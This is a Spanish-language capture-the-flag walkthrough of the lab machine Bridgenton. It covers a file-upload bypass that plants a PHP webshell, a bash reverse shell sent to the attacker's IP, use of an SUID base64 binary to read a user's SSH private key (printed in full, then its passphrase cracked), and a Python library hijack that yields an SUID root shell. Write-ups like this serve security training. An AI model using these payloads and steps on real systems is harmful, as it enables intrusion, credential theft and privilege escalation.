Bridgenton – TheHackersLabs Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: TheHackersLabs
Resumen Link to heading
Bridgenton
es una máquina fácil de la plataforma TheHackerLabs
. Podemos ver que la máquina víctima está corriendo una página web la cual nos permite subir archivos. Luego de probar qué extensiones acepta esta página, somos capaces de encontrar una extensión la cual nos permite subir un archivo PHP
malicioso y ganar así acceso inicial al sistema. Una vez dentro, somos capaces de ver un binari ocon permisos SUID
inusuales, lo cual nos permite pivotear a otro usuario dentro del sistema. Este último usuario es capaz de ejecutar un script de Python
con sudo
como el usuario root
, el cual es vulnerable a un Library hijacking
; pudiendo así impersonar al usuario root
.
User / Usuario Link to heading
Empezando con un scan con Nmap
muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.20.1.125 -oG allPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 18:58 -04
Initiating ARP Ping Scan at 18:58
Scanning 10.20.1.125 [1 port]
Completed ARP Ping Scan at 18:58, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:58
Scanning 10.20.1.125 [65535 ports]
Discovered open port 22/tcp on 10.20.1.125
Discovered open port 80/tcp on 10.20.1.125
Completed SYN Stealth Scan at 18:58, 2.54s elapsed (65535 total ports)
Nmap scan report for 10.20.1.125
Host is up, received arp-response (0.00055s latency).
Scanned at 2024-09-02 18:58:54 -04 for 2s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:8D:CA:AA (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Y chequeando las versiones de estos servicios junto con algunos scripts de reconocimiento con la flag -sVC
, tenemos:
❯ sudo nmap -sVC -p22,80 10.20.1.125 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 18:59 -04
Nmap scan report for 10.20.1.125
Host is up (0.00080s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 ad:fa:fa:1a:e7:99:65:1b:f9:e9:c4:55:be:f5:3a:f3 (ECDSA)
|_ 256 d7:87:d7:2e:d9:a3:4e:87:87:3d:b9:b8:ba:89:b5:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Universidad Bridgenton
MAC Address: 08:00:27:8D:CA:AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.09 seconds
Aunque esto no muestra mucha info.
Visitando el sitio HTTP
de la máquina víctima (http://10.20.1.125
en mi caso) muestra una página web del portal de una universidad:
Muchos botones no funcionan. No obstante, los que están en la parte central superior sí lo hacen.
El botón de Admisiones
nos permite crear una cuenta. Clickeando en éste nos redirige a /registro.php
. Ahora podemos ver:
Si intento crear un usuario la página nos exige subir un archivo como imagen. De manera que subimos una imagen .png
genérica:
Pero cuando nos intentamos registar la página nos retorna un error:
Error: Solo se permite cargar archivos con extensión .jpg, .jpeg, .png. Por favor, carga un archivo con una extensión válida.
Básicamente, la página nos dice que la extensión que hemos provisto no es válida a pesar de haber subido una imagen en formato .png
.
Dado que la ruta para registrarse era /registro.php
, esto puede significar que el servidor está corriendo utilizando PHP
y, por tanto, podríamos tratar de subir un archivo PHP
malicioso. Podemos obtener una lista de extensiones para archivos de HackTricks o este blog (ambos son básicamente la misma lista) y la guardo en un archivo llamado php_extensions_list.txt
:
❯ cat php_extensions_list.txt
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module
Lo que haremos ahora será chequear qué aplicaciones son “aceptadas” por la aplicación. Para esto abrimos Burpsuite
e interceptamos la petición que se realiza al intentar registrar una cuenta al clickear en el botón Registrarse
de la ruta /registro.php
. Tenemos una petición como la que se muestra a continuación:
Ahora, hago click derecho en esta petición y la mando al intruder haciendo click en Send to Intruder
. Luego, vamos al la pestaña Intruder
dentro de Burpsuite
. Allí, vamos a la pestaña Payloads
, vamos a la sección Payload settings
, clickeamos en Load
y seleccionamos la lista generada con extensiones PHP
:
Adicionalmente, al final de esta pestaña, quito la opción URL-encode these characters
.
Luego, vamos a la pestaña Positions
y localizamos la línea de la petición en donde se está mandando el archivo junto con su extensión:
Seleccionamos la extensión (.png
in my case) y, al lado derecho, clickeo en Add §
. Ahora esta línea se ve como:
Finalmente, clickeo en el botón Start attack
localizado en la parte superior derecha. Una nueva ventana emergente aparece, como la siguiente:
Si clickeamos en Lenght
un par de veces, las peticiones se ordenen por Response Length
, es decir, el tamaño de la respuesta de la petición HTTP
enviada. Puede que encontremos una respuesta que tenga un tamaño diferente a la del resto y, por ende, pueda servirnos:
La petición con la extensión .phtml
es diferente a las otras. Haciendo doble click en esta petición, y luego seleccionando la pestaña Response
, muestra algo interesante:
HTTP/1.1 200 OK
Date: Tue, 03 Sep 2024 23:17:25 GMT
Server: Apache/2.4.57 (Debian)
Vary: Accept-Encoding
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Archivo cargado con éxito. Bienvenido, gunzf0x, te has registrado correctamente.
Este mensaje en la respuesta significa que nuestro archibo ha sido subido. Ahora, crearé un archivo PHP
malicioso y lo llamaré image.phtml
con el siguiente contenido:
<?php system($_GET['cmd']); ?>
Ahora, de vuelta al sitio web, nos registramos con un usuario de nuevo y subimos como archivo image.phtml
, la cual es en realidad nuestro archivo PHP
malicioso:
All Supported Types
a All Files
en la ventana/GUI que aparece para seleccionar la imagen a subir.Clickeando en Registrarse
somos capaces de registrar nuestra cuenta con el archivo malicioso exitosamente. ¿Pero dónde se encuentra éste localizado? Podemos entonces tratar de listar directorios a través de un Brute Force Directory Listing
con la herramienta Gobuster
usando un diccionario de directorios del repositorio SecLists
. Para esto, corremos:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.125 -x php -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.20.1.125
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 2392]
/uploads (Status: 301) [Size: 312] [--> http://10.20.1.125/uploads/]
/.php (Status: 403) [Size: 276]
/javascript (Status: 301) [Size: 315] [--> http://10.20.1.125/javascript/]
/registrar.php (Status: 200) [Size: 274]
/registro.php (Status: 200) [Size: 980]
/.php (Status: 403) [Size: 276]
/server-status (Status: 403) [Size: 276]
/bienvenida.php (Status: 302) [Size: 0] [--> login.php]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================
donde:
dir
es el módulo deGobuster
para buscar por directorios.-w
es el diccionario usado para la búsqueda.-u
es la URL en donde queremos buscar los directorios/archivos.-x
busca por archivos con extensión además de directorios. De manera que, por ejemplo, en este caso la búsqueda intentará encontrar los directorios/example
y el archivoexample.php
.-t
es el número de hilos a usar para agilizar el proceso.
Encontramos un directorio que se ve interesante llamado /uploads
. Si visitamos http://10.20.1.125/uploads
en neustro browser de internet puedo ver algo interesante:
Podemos entonces ahora visitar http://10.20.1.125/uploads/image.phtml
y funciona (dado que no obtenemos Error 404
o un error el cual indique que la página no existe).
cronjob
corriendo el cual remueve archivos del directorio /uploads
cada cierto tiempo. De manera que si revisamos el directorio /uploads
y nuestro archivo no está allí, puede que debamos de resubir nuestra imagen/archivo malicioso.Ahora, podemos ver nuestra webshell visitando, por ejemplo, http://10.20.1.125/uploads/image.phtml?cmd=id
. O podemos obtener exactamente el mismo resultado, pero desde nuestra terminal usando cURL
:
❯ curl -s -X GET -G 'http://10.20.1.125/uploads/image.phtml' --data-urlencode 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
y funciona.
Ahora intentaremos obtener una reverse shell. Para esto, empezamos un listenre con netcat
en el puerto 443
corriendo:
❯ nc -lvnp 443
listening on [any] 443 ...
y en nuestra webshell nos enviamos una reverse shell a nuestra máquina de atacante corriendo:
❯ curl -s -X GET -G 'http://10.20.1.125/uploads/image.phtml' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"'
donde 10.20.1.110
es mi IP de atacante y 443
es el puerto en el cual ya me encuentro en escucha con netcat
.
En nuestro listener obtenemos una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.125] 38774
bash: cannot set terminal process group (586): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Bridgenton:/var/www/html/uploads$ whoami
whoami
www-data
Luego de buscar por archivos interesantes en el sistema soy capaz de ver un archivo llamado procesar_registro.php
en el directorio /var/www/html
. Podemos leer su contenido:
<?php
// Iniciar la sesión
session_start();
// Verificar si se han enviado los datos del formulario
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Verificar que se hayan proporcionado un correo electrónico y contraseña
if (!empty($_POST['email']) && !empty($_POST['password'])) {
// Verificar las credenciales del usuario (aquí deberías agregar tu lógica de verificación)
$email = $_POST['email'];
$password = $_POST['password'];
// Ejemplo básico: verificar que el correo electrónico sea "james@thl.com" y la contraseña sea "bridgenton_200189"
if ($email === "james@thl.com" && $password === "bridgenton_200189") {
// Inicio de sesión exitoso
// Establecer el correo electrónico en la sesión
$_SESSION['email'] = $email;
// Redirigir al usuario a la página de bienvenida
header("Location: bienvenida.php");
exit();
} else {
// Credenciales incorrectas, mostrar un mensaje de error
$mensajeError = "Credenciales incorrectas. Por favor, inténtalo de nuevo.";
}
} else {
// Si no se proporcionaron correo electrónico o contraseña, mostrar un mensaje de error
$mensajeError = "Por favor, proporcione un correo electrónico y una contraseña.";
}
} else {
// Si no se enviaron datos por POST, redirigir al formulario de inicio de sesión
header("Location: login.php");
exit();
}
// Si llegamos a este punto, significa que hubo un error en el inicio de sesión
// Mostrar el mensaje de error y permitir que el usuario vuelva a intentarlo
echo $mensajeError;
?>
Básicamente, la página de login de la web principal que habíamos visitado sólo acepta el mail james@thl.com
con contraseña bridgenton_200189
cuando tratamos de loguearnos en /login.php
. Si nos logueamos con estas credenciales, el sitio web mostrará el contenido del archivo bienvenidos.php
; archivo el cual no tiene contenido interesante tampoco.
En este punto decido buscar por binarios con permisos SUID
. Podemos usar el comando find
para este propósito:
www-data@Bridgenton:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/base64
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
Entre todos ellos, /usr/bin/base64
es uno el cual no es usual. Buscando en GTFOBins
cómo abuscar de este binario con este permiso, encontramos estos comandos:
sudo install -m =xs $(which base64) .
LFILE=file_to_read
./base64 "$LFILE" | base64 --decode
Basados en la última línea delos comandos anteriores, trataré de leer archivos los cuales sólo el usuario root
debería de poder leer como, por ejemplo, /etc/shadow
. Para esto podemos correr:
www-data@Bridgenton:/var/www/html$ /usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64: /etc/shadow: Permission denied
Pero tenemos el peremiso denegado. ¿Por qué?
Si revisamos detalles acerca del binario /usr/bin/base64
podemos ver la razón:
www-data@Bridgenton:/var/www/html$ ls -la /usr/bin/base64
-rwsr-xr-x 1 james james 48016 Sep 20 2022 /usr/bin/base64
El usuario james
es el propietario de este binario y, por tanto, sólo podemos abusar del privilegio SUID
para archivos relacionados a este usuario, no para el usuario root
.
Dado que podemos leer archivos como el usuario james
, y dado el hecho de que el servicio SSH
se encuentra activo en la máquina, podemos tratar de leer keys SSH
. Para este propósito podríamos tratar de leer el archivo /home/james/.ssh/id_rsa
la cual es el archivo donde usualmente se almacena una key de SSH
. Chequeo si el usuario james
tiene un directorio en /home
:
www-data@Bridgenton:/var/www/html$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Mar 29 00:56 .
drwxr-xr-x 18 root root 4096 Mar 29 00:54 ..
drwx------ 4 james james 4096 Sep 3 02:56 james
Y lo tiene, de manera que una key podría existir.
Basados en esto, corremos:
www-data@Bridgenton:/var/www/html$ /usr/bin/base64 /home/james/.ssh/id_rsa | base64 --decode
-----BEGIN OPENSSH PRIVATE KEY-----
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
miPO9cjj/N5uge70CWOIqG2YbP4=
-----END OPENSSH PRIVATE KEY-----
Pudimos obtener una key. Copio su contenido y lo guardo en un archivo llamado james_id_rsa
usando Vim
(o pueden usar su editor de texto preferido) en mi máquina de atacante y le asigno permisos de ejecución 600
con chmod
para evitar conflictos con esta key:
❯ vim james_id_rsa
❯ chmod 600 james_id_rsa
Ahora, tratamos de loguearnos por SSH
como el usuario james
usando la key hallada:
❯ ssh -i james_id_rsa james@10.20.1.125
james@10.20.1.125's password:
Pero ésta nos sigue preguntando por una contraseña. ¿Por qué? Basados en este post de StackOverflow la key puede tener una passphrase. Para extraer su hash en un formato que sea crackeable es que usamos la herramienta ssh2john
y tratar de crackearla con JohnTheRipper
(john
) usando un diccionario de contraseñas como el famoso rockyou.txt
. De manera que, primero, pasamos la passphrase a un formato crackable:
❯ ssh2john james_id_rsa > james_hash_ssh
Donde hemos guardado el hash en un archivo llamado james_hash_ssh
.
Luego, tratamos de crackearlo usando john
junto con el diccionario rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt james_hash_ssh
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bowwow (james_id_rsa)
1g 0:00:00:07 DONE (2024-09-03 20:11) 0.1328g/s 42.49p/s 42.49c/s 42.49C/s 50cent..101010
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Y tenemos una contraseña/passphrase: bowwow
.
Si tratamos de loguearnos por medio de SSH
conm la key hallada y la passphrase bowwow
ahora esto sí funciona:
❯ ssh -i james_id_rsa james@10.20.1.125
james@10.20.1.125's password:
Linux Bridgenton 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 3 03:49:28 2024 from 10.20.1.110
james@Bridgenton:~$
Y podemos leer la flag de usuario en el directorio /home
de este usuario.
Root Link to heading
Revisando qué es lo que puede correr este usuario con sudo
, podemos ver que podemos correr un script de Python
llamado /opt/example.py
:
james@Bridgenton:~$ sudo -l
Matching Defaults entries for james on Bridgenton:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User james may run the following commands on Bridgenton:
(root) NOPASSWD: /usr/bin/python3 /opt/example.py
Revisando el contenido de /opt/example.py
tenemos:
import hashlib
if __name__ == '__main__':
cadena = "Hola esta es mi cadena"
print(hashlib.md5(cadena.encode()).hexdigest())
Este script simplemente hashea el contenido de una frase. Eso es todo. Ejecutando este script lo confirma:
james@Bridgenton:~$ sudo /usr/bin/python3 /opt/example.py
81f4463d7bee15a7aa32e49e4d77fef9
Noto que este script está localizado en el directorio /opt
. Si revisamos los permisos de este directorio:
james@Bridgenton:~$ ls -ld /opt
drwxr-xr-x 3 james root 4096 sep 4 02:21 /opt
Vemos que tanto el usuario root
como james
pueden escribir archivos en este directorio.
Como sea, tratar de reemplazar el script /opt/example.py
por otro script malicioso no es una opción dado que /opt/example.py
sólo puede ser escrito por el usuario root
:
james@Bridgenton:~$ ls -la /opt/example.py
-rw-r--r-- 1 root root 132 abr 1 11:42 /opt/example.py
Podemos entonces intentar un Library Hijacking
, pero primero necesitamos chequear la variable de entorno PATH
para Python
. Podemos chequear esto corriendo:
james@Bridgenton:~$ python3 -c 'import sys; print(sys.path)'
['', '/usr/lib/python311.zip', '/usr/lib/python3.11', '/usr/lib/python3.11/lib-dynload', '/usr/local/lib/python3.11/dist-packages', '/usr/lib/python3/dist-packages']
Donde el primer elemento ''
significa que estamos ejecutando el directorio actual. Dado que el script está ubicado en /opt
, esto significa que el script primero buscará por librerías en el directorio /opt
, luego intentará buscar por librerías en la ruta /usr/lib/python311.zip
, luego en /usr/lib/python3.11
y así…
De manera que vamos al directorio /opt
y escribimos un archivo malicioso allí. Dado que /opt/example.py
está llamando a la librería hashlib
, esto significa que debemos llamar a nuestro script malicioso hashlib.py
. Creamos entonces un script malicioso de Python
con el siguiente contenido:
#!/usr/bin/python3
import os
os.system("cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x")
Lo que este simple script hace es crear una copia del binario bash
y, a aquella copia, le asigna permisos SUID
. Dado que el usuario que ejecutará el comando debería de ser root
, ello significa que le asignaremos permisos SUID
al binario/copia cuyo propietario será root
.
Podemos realizar todo lo descrito anteriormente a través de una terminal/consola simplemente corriendo:
james@Bridgenton:~$ cd /opt # nos movemos al directorio /opt directory
james@Bridgenton:/opt$ echo -e '#!/usr/bin/python3\n\nimport os\n\nos.system("cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x")' > /opt/hashlib.py # creamos el archivo malicioso
james@Bridgenton:/opt$ sudo /usr/bin/python3 /opt/example.py # ejecutamos el archivo malicioso con 'sudo'
Traceback (most recent call last):
File "/opt/example.py", line 9, in <module>
print(hashlib.md5(cadena.encode()).hexdigest())
^^^^^^^^^^^
AttributeError: module 'hashlib' has no attribute 'md5'
El programa retornó un error: no pudo encontrar la función md5
en la librería hashlib
. Eso es una buena señal.
Revisando el directorio /tmp
podemos ver que nuestro archivo malicioso creado está allí:
james@Bridgenton:/opt$ ls -la /tmp
total 1268
drwxrwxrwt 8 root root 4096 sep 4 02:33 .
drwxr-xr-x 18 root root 4096 mar 29 00:54 ..
drwxrwxrwt 2 root root 4096 sep 4 00:34 .font-unix
-rwsr-xr-x 1 root root 1265648 sep 4 02:33 gunzf0x
drwxrwxrwt 2 root root 4096 sep 4 00:34 .ICE-unix
drwx------ 3 root root 4096 sep 4 00:34 systemd-private-3cec9ecbbadd474da98f9c3ee0706548-apache2.service-za8GyY
drwx------ 3 root root 4096 sep 4 00:34 systemd-private-3cec9ecbbadd474da98f9c3ee0706548-systemd-logind.service-D5OsPp
drwxrwxrwt 2 root root 4096 sep 4 00:34 .X11-unix
drwxrwxrwt 2 root root 4096 sep 4 00:34 .XIM-unix
donde -rwsr-xr-x 1 root root
indica que éste tiene permisos SUID
cuyo propietario es root
tal cual habíamos planeado.
Finalmente, podemos correr este binario como el propietario de éste -el cual es root
- con la flag -p
e impersonar a este usuario:
james@Bridgenton:/opt$ /tmp/gunzf0x -p
gunzf0x-5.2# whoami
root
Podemos leer la flag del usuario root
en el directorio /root
.
~ Happy Hacking